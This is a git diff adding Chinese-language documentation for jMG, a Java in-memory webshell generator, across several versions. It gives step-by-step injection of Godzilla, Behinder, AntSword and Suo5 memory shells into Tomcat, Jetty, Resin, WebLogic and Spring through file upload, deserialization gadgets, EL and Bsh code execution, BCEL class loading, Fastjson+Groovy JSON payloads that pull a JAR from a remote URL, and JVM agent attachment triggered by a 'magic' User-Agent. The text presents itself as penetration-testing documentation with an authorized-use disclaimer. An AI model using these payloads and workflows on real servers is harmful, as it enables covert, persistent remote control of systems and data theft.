diff --git a/jmg-docs/1.0.4/README.md b/jmg-docs/1.0.4/README.md new file mode 100644 index 0000000..98b45a9 --- /dev/null +++ b/jmg-docs/1.0.4/README.md @@ -0,0 +1,367 @@ +--- +title: jMG v1.0.4 - 高度自定义的 Java 内存马生成工具 +author: pen4uin +date: 2023-06-04 +--- + +# jMG v1.0.4 - 高度自定义的 Java 内存马生成工具 + +## 0x01 简介 + +**jMG (Java Memshell Generator)** 是一款支持高度自定义的 java 内存马生成工具，可作为 woodpecker 的插件使用，提供常见中间件的内存马注入支持。 + +![](./img/1708846585021.png) + +功能介绍 + +- 支持的中间件 (Tomcat/Resin/Jetty/WebLogic/WebSphere/Undertow/GlassFish/Spring) +- 支持的网站管理工具 (Behinder/Godzilla/Custom) +- 支持的内存马类型 (Filter/Listener/Interceptor) +- 支持的输出格式 (BASE64/BCEL/CLASS/JS/JSP/JAR/BIGINTEGER) +- 支持的辅助模块 (探测目标中间件/序列化数据封装) + +模块划分 + +- 内存马生成模块 + - Behinder、Godzilla + - Custom + - 注入自定义的Filter和Listener，常见场景：其他网站管理工具的服务端、内存代理、内存水坑等 +- 辅助模块 + - ServerType Detector 中间件探测器 + - 探测中间件信息，常见场景：SpringBoot Fatjar + - 提供 4 种方式判断目标中间件 (DFSEcho/Sleep/DNSLog/HTTPLog) +- Ysoserial Payload Generator + - 基于 ysoserial-for-woodpecker 对反序列化漏洞利用提供支持、提高漏洞利用效率 + + +参数说明 + +| 参数名称 | 参数说明 | 其他 | | +|-------------|----------|----------------------------------------|-| +| server_type | 选择中间件的类型 | | +| shell_type | 选择内存马的类型 | | +| gadget_type | 选择利用链的类型 | 根据gadget自动完成对class的特殊处理，如继承类、实现接口、添加注解 | +| format_type | 输出格式 | | + +更多参数 - 参数自定义 + +![](./img/1708846851378.png) + +## 0x02 中间件覆盖情况 + +| | godzilla-listener | godzilla-filter | behinder-listener | behinder-filter | +|-----------------|-------------------|-----------------|-------------------|-----------------| +| tomcat 9.0.39 | ✅ | ✅ | ✅ | ✅ | +| tomcat 8.5.53 | ✅ | ✅ | ✅ | ✅ | +| tomcat 7.0.59 | ✅ | ✅ | ✅ | ✅ | +| tomcat 6.0.48 | ✅ | ✅ | ✅ | ✅ | +| tomcat 5.5.36 | ✅ | ✅ | ✅ | ✅ | +| jetty 9.4.43 | ✅ | ✅ | ✅ | ✅ | +| jetty 8.2.0 | ✅ | ✅ | ✅ | ✅ | +| jetty 7.6.0 | ✅ | ✅ | ✅ | ✅ | +| resin 4.0.66 | ✅ | ✅ | ✅ | ✅ | +| resin 3.1.15 | ✅ | ✅ | ❌ | ✅ | +| weblogic 10.3.6 | ✅ | ✅ | ✅ | ✅ | +| weblogic 12.1.3 | ✅ | ✅ | ✅ | ✅ | +| websphere 8.5.5 | ✅ | ✅ | ❌ | ✅ | +| websphere 9.0.0 | ✅ | ✅ | ❌ | ✅ | + +注：以上测试结果仅供参考 + + +## 0x03 常见漏洞场景 + +### 01 文件上传漏洞 (JSP) + +本地测试环境 +- Tomcat v6.0.48 +- JDK 8 +- 文件上传 + +1、生成 jsp 文件 + +![](./img/1708847432299.png) + +2、上传 jsp 到目标服务器，访问即可注入内存马，参考使用说明进行设置 + +- 设置请求头 + +![](./img/1708847448833.png) + +3、成功连接 + +![](./img/1708847459275.png) + +### 02 反序列化漏洞 (readObject) + +本地测试环境 +- Tomcat v8.5.53 +- JDK 8 +- readObject 反序列化 +- CB1 链 + +1、生成 class 文件 +```text +server_type=Tomcat +shell_type=Listener +# 继承 AbstractTranslet +gadget_type=JDK_AbstractTranslet +format_type=CLASS +output_path=/tmp/ +``` + +![](./img/1708847507811.png) + +2、使用 `辅助模块` 进行序列化数据封装 + +```text +yso_gadget=CommonsBeanutils1 +yso_cmd=class_file:/tmp/HttpClientUtil.class +format_type=BASE64 +``` + +![](./img/1708847533913.png) + +注：依赖 https://github.com/woodpecker-framework/ysoserial-for-woodpecker + +3、利用后，参考使用说明进行连接 + +![](./img/1708847546219.png) + +### 03 表达式注入漏洞 (EL) + +本地测试环境 +- Tomcat v8.5.83 +- JDK 8 +- EL 表达式代码执行 + +1、生成 class文件 +```text +server_type=Tomcat +shell_type=Listener +gadget_type=NONE +format_type=CLASS +output_path=/tmp/ +``` + +![](./img/1708847591532.png) + +2、使用 jexpr-encoder-utils 进行封装 + +![](./img/1708847605226.png) + +注：依赖 https://github.com/woodpecker-appstore/jexpr-encoder-utils + +3、利用后，参考使用说明进行连接 + +![](./img/1708847621706.png) + +### 04 代码执行漏洞 (Bsh) + +本地测试环境 +- Resin v4.0.40 +- JDK 8 +- Bsh 代码执行漏洞 + +1、选择 输出格式为 BCEL ，生成 paylaod +```text +server_type=Resin +shell_type=Listener +gadget_type=NONE +format_type=BCEL +``` + +![](./img/1708847681909.png) + +2、利用 BCEL 打内存马 + +```text +new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass("BCEL编码后的paylaod").newInstance(); +``` + +3、参考使用说明进行连接 + +![](./img/1708847705412.png) + +### 05 反序列化漏洞 (Fastjson) + +本地测试环境 +- Tomcat v8.5.83 +- Fastjson v1.2.80 反序列化漏洞 +- Groovy v3.0.8 + + +1、选择 输出格式为 JAR，生成 payload + +```text +server_type=Tomcat +shell_type=Listener +# 选择利用链为 Fastjson+Groovy +gadget_type=FastjsonGroovy +format_type=JAR +output_path=/tmp/fj/ +``` + +![](./img/1708847745212.png) + +2、利用 groovy 利用链打内存马 + +第1个请求 + +```json +{ + "@type":"java.lang.Exception", + "@type":"org.codehaus.groovy.control.CompilationFailedException", + "unit":{} +} +``` + +第2个请求 + +```json +{ + "@type":"org.codehaus.groovy.control.ProcessingUnit", + "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit", + "config":{ + "@type":"org.codehaus.groovy.control.CompilerConfiguration", + "classpathList":"http://127.0.0.1:8888/NetworkUtils.jar" + } +} +``` + +![](./img/1708847792621.png) + +3、参考使用说明进行连接 + +![](./img/1708847802775.png) + +### 06 模板注入漏洞 (Thymeleaf) +本地测试环境 +- SpringBoot v2.2.0.RELEASE + - 内嵌 Jetty +- JDK 8 +- Thymeleaf 模板注入漏洞 + +由于 springboot 可以自定义中间件，所以在 springboot 场景下注入内存马时需要考虑目标中间件可能不是常见的tomcat，有可能是jetty/undertow，也有可能是信创中间件。 + +这种情况一般有两种方案： +- 注入框架层面的内存马，比如 interceptor +- 先判断出目标中间件，再注入对应中间件的内存马 + +这个时候就需要上 辅助模块 - ServerType Detector 来探测目标中间件。 + +1、优先使用 DFSEcho 通过回显来判断目标中间件，失败后再考虑dnslog等其他选择 + +```text +detect_way=DFSEcho +server_type=Tomcat +dnslog_domain=xxx.dnslog.cn +httplog_url=http://xxx.httplog.cn +sleep_seconds=5 +gadget_type=NONE +format_type=BCEL +``` + +![](./img/1708847855479.png) + +2、获取到目标中间件为 jetty + +![](./img/1708847867937.png) + +3、生成对应的 payload + +```text +server_type=Jetty +shell_type=Listener +gadget_type=NONE +format_type=BCEL +``` + +![](./img/1708847885651.png) + +4、漏洞利用 + +第1次尝试 - 失败 + +![](./img/1708847896934.png) + +很常见的问题，参考 shiro 的漏洞利用的解决方案，写个 loader 加载字节码再 defineclass 即可。 + +重新生成 payload + +![](./img/1708847909642.png) + +5、利用后参考使用说明进行连接即可 + +![](./img/1708847921416.png) + +更多的场景就见仁见智了。 + + +## 0x04 常见利用场景 + +### 01 注入内存代理 +本地测试环境 + +- Tomcat v8.5.53 +- JDK 8 +- readObject 反序列化 +- CB1 链 + + +1、以 suo5 为例，编译 Suo5Filter.java + +https://github.com/zema1/suo5/blob/main/assets/Suo5Filter.java + +2、选择对应的中间件，生成 payload + +```text +server_type=Tomcat +gadget_type=JDK_AbstractTranslet +format_type=CLASSc +lass_file_path=/tmp/Suo5Filter.class +output_path=/tmp/ +``` + +![](./img/1708847982473.png) + +3、使用 辅助模块 进行序列化数据封装 + +![](./img/1708847996329.png) + +4、利用后连接测试，内存代理注入成功 + +![](./img/1708848005979.png) + + +## 0x05 小结 + +下载地址 + +[java-memshell-generator](https://github.com/pen4uin/java-memshell-generator) + +注意⚠️ +```text +该工具仅适用于在授权环境/测试环境进行使用，请勿用于生产环境。 +如果遇到 bug / 建议 / 实战场景需求，欢迎提 issue 交流 +``` + +目录结构如下 (需要下载 yso-for-woodpecker) +```text +pen4uin@bogon Desktop % tree /tmp/woodpecker +/tmp/woodpecker +├── common +│ └── ysoserial-for-woodpecker-0.5.2.jar +├── config.db +├── plugin +│ └── jMG-1.0.4.beta1.jar +└── woodpecker-framework.1.3.5.jar +``` + + +
+参考 +- https://github.com/feihong-cs/memShell +- https://github.com/su18/MemoryShell +- https://github.com/woodpecker-framework/ +- https://github.com/BeichenDream/GodzillaMemoryShellProject diff --git a/jmg-docs/1.0.4/img/1708846585021.png b/jmg-docs/1.0.4/img/1708846585021.png new file mode 100644 index 0000000..2ec229b Binary files /dev/null and b/jmg-docs/1.0.4/img/1708846585021.png differ diff --git a/jmg-docs/1.0.4/img/1708846851378.png b/jmg-docs/1.0.4/img/1708846851378.png new file mode 100644 index 0000000..e61bcc9 Binary files /dev/null and b/jmg-docs/1.0.4/img/1708846851378.png differ diff --git a/jmg-docs/1.0.4/img/1708847432299.png b/jmg-docs/1.0.4/img/1708847432299.png new file mode 100644 index 0000000..86846a4 Binary files /dev/null and b/jmg-docs/1.0.4/img/1708847432299.png differ diff --git a/jmg-docs/1.0.4/img/1708847448833.png b/jmg-docs/1.0.4/img/1708847448833.png new file mode 100644 index 0000000..98834b8 Binary files /dev/null and b/jmg-docs/1.0.4/img/1708847448833.png differ diff --git a/jmg-docs/1.0.4/img/1708847459275.png b/jmg-docs/1.0.4/img/1708847459275.png new file mode 100644 index 0000000..e7aadc0 Binary files /dev/null and b/jmg-docs/1.0.4/img/1708847459275.png differ diff --git a/jmg-docs/1.0.4/img/1708847507811.png b/jmg-docs/1.0.4/img/1708847507811.png new file mode 100644 index 0000000..0aa5778 Binary files /dev/null and b/jmg-docs/1.0.4/img/1708847507811.png differ diff --git a/jmg-docs/1.0.4/img/1708847533913.png b/jmg-docs/1.0.4/img/1708847533913.png new file mode 100644 index 0000000..69dbcd7 Binary files /dev/null and b/jmg-docs/1.0.4/img/1708847533913.png differ diff --git a/jmg-docs/1.0.4/img/1708847546219.png b/jmg-docs/1.0.4/img/1708847546219.png new file mode 100644 index 0000000..c82fded Binary files /dev/null and b/jmg-docs/1.0.4/img/1708847546219.png differ diff --git a/jmg-docs/1.0.4/img/1708847591532.png b/jmg-docs/1.0.4/img/1708847591532.png new file mode 100644 index 0000000..46454f7 Binary files /dev/null and b/jmg-docs/1.0.4/img/1708847591532.png differ diff --git a/jmg-docs/1.0.4/img/1708847605226.png b/jmg-docs/1.0.4/img/1708847605226.png new file mode 100644 index 0000000..3055bb3 Binary files /dev/null and b/jmg-docs/1.0.4/img/1708847605226.png differ diff --git a/jmg-docs/1.0.4/img/1708847621706.png b/jmg-docs/1.0.4/img/1708847621706.png new file mode 100644 index 0000000..0a2fe84 Binary files /dev/null and b/jmg-docs/1.0.4/img/1708847621706.png differ diff --git a/jmg-docs/1.0.4/img/1708847681909.png b/jmg-docs/1.0.4/img/1708847681909.png new file mode 100644 index 0000000..53f9c2c Binary files /dev/null and b/jmg-docs/1.0.4/img/1708847681909.png differ diff --git a/jmg-docs/1.0.4/img/1708847705412.png b/jmg-docs/1.0.4/img/1708847705412.png new file mode 100644 index 0000000..0c7c76f Binary files /dev/null and b/jmg-docs/1.0.4/img/1708847705412.png differ diff --git a/jmg-docs/1.0.4/img/1708847745212.png b/jmg-docs/1.0.4/img/1708847745212.png new file mode 100644 index 0000000..5cbf084 Binary files /dev/null and b/jmg-docs/1.0.4/img/1708847745212.png differ diff --git a/jmg-docs/1.0.4/img/1708847792621.png b/jmg-docs/1.0.4/img/1708847792621.png new file mode 100644 index 0000000..f903754 Binary files /dev/null and b/jmg-docs/1.0.4/img/1708847792621.png differ diff --git a/jmg-docs/1.0.4/img/1708847802775.png b/jmg-docs/1.0.4/img/1708847802775.png new file mode 100644 index 0000000..b38b9ce Binary files /dev/null and b/jmg-docs/1.0.4/img/1708847802775.png differ diff --git a/jmg-docs/1.0.4/img/1708847855479.png b/jmg-docs/1.0.4/img/1708847855479.png new file mode 100644 index 0000000..241698c Binary files /dev/null and b/jmg-docs/1.0.4/img/1708847855479.png differ diff --git a/jmg-docs/1.0.4/img/1708847867937.png b/jmg-docs/1.0.4/img/1708847867937.png new file mode 100644 index 0000000..cf1a5f3 Binary files /dev/null and b/jmg-docs/1.0.4/img/1708847867937.png differ diff --git a/jmg-docs/1.0.4/img/1708847885651.png b/jmg-docs/1.0.4/img/1708847885651.png new file mode 100644 index 0000000..b79102f Binary files /dev/null and b/jmg-docs/1.0.4/img/1708847885651.png differ diff --git a/jmg-docs/1.0.4/img/1708847896934.png b/jmg-docs/1.0.4/img/1708847896934.png new file mode 100644 index 0000000..0f377a3 Binary files /dev/null and b/jmg-docs/1.0.4/img/1708847896934.png differ diff --git a/jmg-docs/1.0.4/img/1708847909642.png b/jmg-docs/1.0.4/img/1708847909642.png new file mode 100644 index 0000000..f8eee8e Binary files /dev/null and b/jmg-docs/1.0.4/img/1708847909642.png differ diff --git a/jmg-docs/1.0.4/img/1708847921416.png b/jmg-docs/1.0.4/img/1708847921416.png new file mode 100644 index 0000000..0b761db Binary files /dev/null and b/jmg-docs/1.0.4/img/1708847921416.png differ diff --git a/jmg-docs/1.0.4/img/1708847982473.png b/jmg-docs/1.0.4/img/1708847982473.png new file mode 100644 index 0000000..c97db58 Binary files /dev/null and b/jmg-docs/1.0.4/img/1708847982473.png differ diff --git a/jmg-docs/1.0.4/img/1708847996329.png b/jmg-docs/1.0.4/img/1708847996329.png new file mode 100644 index 0000000..17d4a42 Binary files /dev/null and b/jmg-docs/1.0.4/img/1708847996329.png differ diff --git a/jmg-docs/1.0.4/img/1708848005979.png b/jmg-docs/1.0.4/img/1708848005979.png new file mode 100644 index 0000000..03d0079 Binary files /dev/null and b/jmg-docs/1.0.4/img/1708848005979.png differ diff --git a/jmg-docs/1.0.4/img/1708848140183.png b/jmg-docs/1.0.4/img/1708848140183.png new file mode 100644 index 0000000..9acb52b Binary files /dev/null and b/jmg-docs/1.0.4/img/1708848140183.png differ diff --git a/jmg-docs/1.0.5/README.md b/jmg-docs/1.0.5/README.md new file mode 100644 index 0000000..6c4ab0a --- /dev/null +++ b/jmg-docs/1.0.5/README.md @@ -0,0 +1,51 @@ +--- +title: jMG v1.0.5 +author: pen4uin +date: 2023-06-10 +--- + + +# jMG v1.0.5 + +## 0x01 前言 + +上篇文章中介绍了该工具作为 woodpecekr 插件的工作模式，并通过多个代码执行漏洞场景进行了演示。 + +本篇文章是在添加对GUI 工作模式支持后的补充。 + +## 0x02 工具简介 + +**jMG (Java Memshell Generator)** 是一款支持高度自定义的 Java 内存马生成工具，提供常见中间件的内存马注入支持。不仅可作为 woodpecker 的插件使用，也可以作为独立的 GUI 工具进行使用。 + + +## 0x03 工作模式 + +### 插件 for Woodpecker + +![](./img/1708845865802.png) + +### 独立 GUI + +![](./img/1708845885725.png) + + + +## 0x04 小结 + +免责声明 +> 该工具仅适用于在授权环境/测试环境进行使用，请勿用于生产环境。 + + +
+参考 +- https://github.com/feihong-cs/memShell +- https://github.com/su18/MemoryShell +- https://github.com/BeichenDream/GodzillaMemoryShellProject +- https://github.com/woodpecker-framework/ +- https://github.com/woodpecker-appstore/jexpr-encoder-utils + + + + + + diff --git a/jmg-docs/1.0.5/img/1708845865802.png b/jmg-docs/1.0.5/img/1708845865802.png new file mode 100644 index 0000000..cd76eb2 Binary files /dev/null and b/jmg-docs/1.0.5/img/1708845865802.png differ diff --git a/jmg-docs/1.0.5/img/1708845885725.png b/jmg-docs/1.0.5/img/1708845885725.png new file mode 100644 index 0000000..e505c7b Binary files /dev/null and b/jmg-docs/1.0.5/img/1708845885725.png differ diff --git a/jmg-docs/1.0.6/README.md b/jmg-docs/1.0.6/README.md new file mode 100644 index 0000000..ca58f49 --- /dev/null +++ b/jmg-docs/1.0.6/README.md @@ -0,0 +1,88 @@ +--- +title: jMG v1.0.6 +author: pen4uin +date: 2023-09-03 +--- + +# jMG v1.0.6 + +## 0x01 前言 + +jMG（Java Memshell Generator）v1.0.6 完成了来自社区师傅们的大部分反馈和需求。 + + +## 0x02 更新日志 +核心模块 + +- 新增对网站管理工具「AntSword」的支持，提供 Listener/Filter 类型内存马的注入 +- 新增对HTTP代理工具「Suo5」 的支持，提供 Listener/Filter/Interceptor 类型内存马的注入 +- 新增对响应式框架 Spring WebFlux 内存马的支持 +- 修复中间件 WebSphere 注入器的 Bug +- 删除class 的SourceFileAttribute (源文件名) 信息 + +使用体验 + +- 新增设置菜单，支持多种主题切换 +- 新增右键菜单，支持以文件保存结果 +- 其他优化 + +## 0x03 功能测试 + +### AntSword + +1、选择工具类型为 AntSword，生成 payload + +![](./img/1708844544858.png) + +2、注入后按照使用说明进行连接 + +![](./img/1708844556273.png) + + +### Suo5 + +> 感谢Koalr师傅提供的suo5 listener/interceptor server端 + +1、选择工具类型为 Suo5，生成 payload + +![](./img/1708844588193.png) + +2、注入后按照使用说明进行连接 + +![](./img/1708844598859.png) + +### Spring WebFlux + +本地测试环境 + +- SpringBoot 2.7.15 +- spring-webflux-5.3.29.jar + +1、选择工具类型为 Godzilla，生成 payload（目前只适配了 Godzilla） + +![](./img/1708844631477.png) + +2、注入后按照使用说明进行连接 + +![](./img/1708844642216.png) + +### 主题切换 + +此更新主要是为了提升用户体验。 + +默认 - FlatLightLaf + +![](./img/1708844692315.png) + +其他 - FlatDarcula + +![](./img/1708844703467.png) + +## 0x04 小结 + +jMG 目前已经基本覆盖大部分场景的内存马利用需求。 + + + + + diff --git a/jmg-docs/1.0.6/img/1708844544858.png b/jmg-docs/1.0.6/img/1708844544858.png new file mode 100644 index 0000000..33ebac0 Binary files /dev/null and b/jmg-docs/1.0.6/img/1708844544858.png differ diff --git a/jmg-docs/1.0.6/img/1708844556273.png b/jmg-docs/1.0.6/img/1708844556273.png new file mode 100644 index 0000000..a943e4d Binary files /dev/null and b/jmg-docs/1.0.6/img/1708844556273.png differ diff --git a/jmg-docs/1.0.6/img/1708844588193.png b/jmg-docs/1.0.6/img/1708844588193.png new file mode 100644 index 0000000..a133cdf Binary files /dev/null and b/jmg-docs/1.0.6/img/1708844588193.png differ diff --git a/jmg-docs/1.0.6/img/1708844598859.png b/jmg-docs/1.0.6/img/1708844598859.png new file mode 100644 index 0000000..d86044f Binary files /dev/null and b/jmg-docs/1.0.6/img/1708844598859.png differ diff --git a/jmg-docs/1.0.6/img/1708844631477.png b/jmg-docs/1.0.6/img/1708844631477.png new file mode 100644 index 0000000..56b71eb Binary files /dev/null and b/jmg-docs/1.0.6/img/1708844631477.png differ diff --git a/jmg-docs/1.0.6/img/1708844642216.png b/jmg-docs/1.0.6/img/1708844642216.png new file mode 100644 index 0000000..bb1610b Binary files /dev/null and b/jmg-docs/1.0.6/img/1708844642216.png differ diff --git a/jmg-docs/1.0.6/img/1708844692315.png b/jmg-docs/1.0.6/img/1708844692315.png new file mode 100644 index 0000000..fdfc30b Binary files /dev/null and b/jmg-docs/1.0.6/img/1708844692315.png differ diff --git a/jmg-docs/1.0.6/img/1708844703467.png b/jmg-docs/1.0.6/img/1708844703467.png new file mode 100644 index 0000000..d32b315 Binary files /dev/null and b/jmg-docs/1.0.6/img/1708844703467.png differ diff --git a/jmg-docs/1.0.8/README.md b/jmg-docs/1.0.8/README.md new file mode 100644 index 0000000..c47e0cb --- /dev/null +++ b/jmg-docs/1.0.8/README.md @@ -0,0 +1,146 @@ +--- +title: jMG v1.0.8 - Java Agent 篇 +author: pen4uin +date: 2024-04-12 +--- + +# jMG v1.0.8 - Java Agent 篇 + +鸽了半年的功能 —— 跨 JVM 进程注入内存马。 + +https://github.com/pen4uin/java-memshell-generator/issues/4 + +## 0x01 简介 + +新增对 Tomcat 和 SpringBoot(SpringMVC) Agent 注入内存马的支持，并分别在 Tomcat 8 + JDK 8、SpringBoot 2 + JRE 8、XXL-JOB 2.1.0 完成测试。 + +## 0x02 功能测试 + +### Tomcat 8 + JDK 8 + +0、测试环境 + +- Tomcat 8.5 +- JDK 8 + +1、选择 Tomcat + JAR_AGENT + +![](./img/1713209159695.png) + +2、将 agent 传到目标服务器上执行 + +```shell +# list pid +java -jar jmg-agent.jar +# attach pid +java -jar jmg-agent.jar [pid] +``` + +![](./img/1713209182608.png) + +3、注入内存马 + +- 携带 User-Agent: magic 触发内存马注入逻辑 + +```http +GET / HTTP/1.1 +Host: 127.0.0.1:9090 +User-Agent: Mozilla/5.0 (Macintosh; magic Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0 +Accept: image/avif,image/webp,*/* +Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 +Accept-Encoding: gzip, deflate +Connection: close +``` + +4、按照基础信息进行连接 + +![](./img/1713209211285.png) + +### SpringBoot 2 + JRE 8 + +0、测试环境 +- SpringBoot 2.5.3 + Embedded Jetty +- JRE 8 + +1、选择 SpringMVC + JAR_AGENT + +![](./img/1713209265218.png) + +2、将生成的 agent 传到目标服务器上执行 + +纯 jre 环境无 tools.jar，jmg-agent 会自动释放内置 tools.jar 到临时目录 + +![](./img/1713209278067.png) + +3、注入内存马 + +- 携带 User-Agent: magic 触发内存马注入逻辑 + +```http +GET / HTTP/1.1 +Host: 127.0.0.1:9090 +User-Agent: Mozilla/5.0 (Macintosh; magic Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0 +Accept: image/avif,image/webp,*/* +Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 +Accept-Encoding: gzip, deflate +Connection: close +``` + +4、按照基础信息进行连接 + +![](./img/1713209302039.png) + +### XXL-JOB (executor -> admin) + +0、测试环境 + +- XXL-JOB 2.1.0 +- JDK 8 +- Executor 与 Admin 在同一台服务器上 + +1、选择Tomcat + JAR_AGENT + +![](./img/1713209319058.png) + +2、将 agent 写到目标服务器上执行 + +(1) 新增任务列 pid + +![](./img/1713209337767.png) + +(2) 调度日志看结果 + +```text +[*] Found pid 76495 ——> [com.xxl.job.admin.XxlJobAdminApplication] +[*] Found pid 76592 ——> [com.xxl.job.executor.XxlJobExecutorApplication] +``` + +(3) 选择 admin pid 进行 attach + +![](./img/1713209372043.png) + +(4) attach 成功 + +![](./img/1713209382797.png) + +3、注入内存马 + +- 携带 User-Agent: magic 触发内存马注入逻辑 + +```http +GET /xxl-job-admin/toLogin HTTP/1.1 +Host: 127.0.0.1:9090 +User-Agent: Mozilla/5.0 (Macintosh; magic Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0 +Accept: application/json, text/javascript, */*; q=0.01 +Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 +Accept-Encoding: gzip, deflate +Connection: close +``` + +4、按照基础信息进行连接 + +![](./img/1713209425091.png) + +## 0x03 小结 + +测试环境属于较理想环境，实战可能会遇到各种坑点，若有问题反馈与讨论请附上环境信息+报错日志。 diff --git a/jmg-docs/1.0.8/img/1712860212581.png b/jmg-docs/1.0.8/img/1712860212581.png new file mode 100644 index 0000000..1b4da49 Binary files /dev/null and b/jmg-docs/1.0.8/img/1712860212581.png differ diff --git a/jmg-docs/1.0.8/img/1712860232195.png b/jmg-docs/1.0.8/img/1712860232195.png new file mode 100644 index 0000000..41b1e3f Binary files /dev/null and b/jmg-docs/1.0.8/img/1712860232195.png differ diff --git a/jmg-docs/1.0.8/img/1712860295605.png b/jmg-docs/1.0.8/img/1712860295605.png new file mode 100644 index 0000000..610a6ea Binary files /dev/null and b/jmg-docs/1.0.8/img/1712860295605.png differ diff --git a/jmg-docs/1.0.8/img/1712866128775.png b/jmg-docs/1.0.8/img/1712866128775.png new file mode 100644 index 0000000..22422b7 Binary files /dev/null and b/jmg-docs/1.0.8/img/1712866128775.png differ diff --git a/jmg-docs/1.0.8/img/1712866280281.png b/jmg-docs/1.0.8/img/1712866280281.png new file mode 100644 index 0000000..4002f29 Binary files /dev/null and b/jmg-docs/1.0.8/img/1712866280281.png differ diff --git a/jmg-docs/1.0.8/img/1712866419608.png b/jmg-docs/1.0.8/img/1712866419608.png new file mode 100644 index 0000000..d1254fe Binary files /dev/null and b/jmg-docs/1.0.8/img/1712866419608.png differ diff --git a/jmg-docs/1.0.8/img/1712867832438.png b/jmg-docs/1.0.8/img/1712867832438.png new file mode 100644 index 0000000..181187f Binary files /dev/null and b/jmg-docs/1.0.8/img/1712867832438.png differ diff --git a/jmg-docs/1.0.8/img/1712868077145.png b/jmg-docs/1.0.8/img/1712868077145.png new file mode 100644 index 0000000..e637290 Binary files /dev/null and b/jmg-docs/1.0.8/img/1712868077145.png differ diff --git a/jmg-docs/1.0.8/img/1712868104094.png b/jmg-docs/1.0.8/img/1712868104094.png new file mode 100644 index 0000000..7e9da86 Binary files /dev/null and b/jmg-docs/1.0.8/img/1712868104094.png differ diff --git a/jmg-docs/1.0.8/img/1712868281189.png b/jmg-docs/1.0.8/img/1712868281189.png new file mode 100644 index 0000000..98ef1d9 Binary files /dev/null and b/jmg-docs/1.0.8/img/1712868281189.png differ diff --git a/jmg-docs/1.0.8/img/1713209159695.png b/jmg-docs/1.0.8/img/1713209159695.png new file mode 100644 index 0000000..317dc41 Binary files /dev/null and b/jmg-docs/1.0.8/img/1713209159695.png differ diff --git a/jmg-docs/1.0.8/img/1713209182608.png b/jmg-docs/1.0.8/img/1713209182608.png new file mode 100644 index 0000000..f7036d9 Binary files /dev/null and b/jmg-docs/1.0.8/img/1713209182608.png differ diff --git a/jmg-docs/1.0.8/img/1713209211285.png b/jmg-docs/1.0.8/img/1713209211285.png new file mode 100644 index 0000000..ea92d76 Binary files /dev/null and b/jmg-docs/1.0.8/img/1713209211285.png differ diff --git a/jmg-docs/1.0.8/img/1713209265218.png b/jmg-docs/1.0.8/img/1713209265218.png new file mode 100644 index 0000000..64f6320 Binary files /dev/null and b/jmg-docs/1.0.8/img/1713209265218.png differ diff --git a/jmg-docs/1.0.8/img/1713209278067.png b/jmg-docs/1.0.8/img/1713209278067.png new file mode 100644 index 0000000..3b20b95 Binary files /dev/null and b/jmg-docs/1.0.8/img/1713209278067.png differ diff --git a/jmg-docs/1.0.8/img/1713209302039.png b/jmg-docs/1.0.8/img/1713209302039.png new file mode 100644 index 0000000..973cfa8 Binary files /dev/null and b/jmg-docs/1.0.8/img/1713209302039.png differ diff --git a/jmg-docs/1.0.8/img/1713209319058.png b/jmg-docs/1.0.8/img/1713209319058.png new file mode 100644 index 0000000..81bc05d Binary files /dev/null and b/jmg-docs/1.0.8/img/1713209319058.png differ diff --git a/jmg-docs/1.0.8/img/1713209337767.png b/jmg-docs/1.0.8/img/1713209337767.png new file mode 100644 index 0000000..e631e6c Binary files /dev/null and b/jmg-docs/1.0.8/img/1713209337767.png differ diff --git a/jmg-docs/1.0.8/img/1713209372043.png b/jmg-docs/1.0.8/img/1713209372043.png new file mode 100644 index 0000000..98c9349 Binary files /dev/null and b/jmg-docs/1.0.8/img/1713209372043.png differ diff --git a/jmg-docs/1.0.8/img/1713209382797.png b/jmg-docs/1.0.8/img/1713209382797.png new file mode 100644 index 0000000..c402240 Binary files /dev/null and b/jmg-docs/1.0.8/img/1713209382797.png differ diff --git a/jmg-docs/1.0.8/img/1713209425091.png b/jmg-docs/1.0.8/img/1713209425091.png new file mode 100644 index 0000000..216e26e Binary files /dev/null and b/jmg-docs/1.0.8/img/1713209425091.png differ diff --git a/jmg-docs/1.0.8/img/image-20240412045841947.png b/jmg-docs/1.0.8/img/image-20240412045841947.png new file mode 100644 index 0000000..100dcea Binary files /dev/null and b/jmg-docs/1.0.8/img/image-20240412045841947.png differ